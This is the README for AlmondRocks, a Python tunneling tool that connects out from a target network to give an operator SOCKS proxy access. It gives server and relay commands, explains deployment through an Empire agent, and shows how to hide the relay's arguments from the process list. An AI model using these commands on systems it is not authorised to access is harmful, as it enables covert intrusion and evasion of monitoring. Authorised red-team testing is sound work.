AlmondRocks

AlmondRocks ("arox") is a tunneling tool that connects out from a target network and provides a (limited) SOCKSv5 interface. The tunnel connection is currently a binary protocol under TLS.

This tool is currently in BETA. The biggest known issue at the moment is lack of tunnel peer authentication.

Requirements

Python 2.7

Components

Server

The server receives tunnel connections and opens a SOCKS proxy port.

Relay

The relay connects out from target to a server. All subsequent traffic proxied through the SOCKS port on the server will be tunneled through the target.

Usage

Server (standalone)

The -h flag shows a help menu. Listen on 443/tcp for tunnel connections, and listen on 1080/tcp for SOCKS clients:

python arox.py -v server --tunnel-addr 0.0.0.0:443 --socks-addr 127.0.0.1:1080 --cert ssl/cert.pem --key ssl/key.pem

Server (Docker)

The server is Dockerized for convenience. To use default certs (not recommended):

[root]# docker pull klustic/arox:latest
[root]# docker run --rm -it -p 1080:1080 -p 443:4433 --name arox klustic/arox

To override the default certs, mount a volume from a directory containing cert.pem and key.pem:

[root]# docker pull klustic/arox:latest
[root]# docker run --rm -it -p 1080:1080 -p 443:4433 --name arox -v $(pwd)/ssl:/opt/arox/ssl:ro klustic/arox

Relay (standalone)

The -h flag shows a help menu. Connect to master at 10.0.0.10:443:

python arox.py -v relay --tunnel-addr 10.0.0.10:443

Relay (Empire)

First, setup your AROX server (see above). Once you have an Empire agent connected, issues the following commands to Empire:

agents
interact <sessionId>
usemodule management/multi/socks
set server <AROX server IP/domain>:<AROX server port>
info
execute

NOTE: AROX v1.0.0 broke compatibility with previous versions. The current version is not merged into EmpireProject yet. To use the current version, issue this command before starting Empire:

cp -rv Empire/* /opt/Empire/   ## Or wherever you have installed Empire

Advanced Usage

In some cases you may want to hide commandline options in the process list. AROX supports passing arguments via stdin on the command line:

echo -v relay --tunnel-addr 10.0.0.10:443 | python arox.py

Looks like this in the process list:

[root@testing-c67 arox]# echo -v relay --tunnel-addr 10.0.0.10:443 | python2.7 arox.py

Listing active connections through the AROX tunnel

There is an easter egg that lists all connections that are opened via arox tunnel. Press CTRL-\ on the arox server terminal to view statistics.
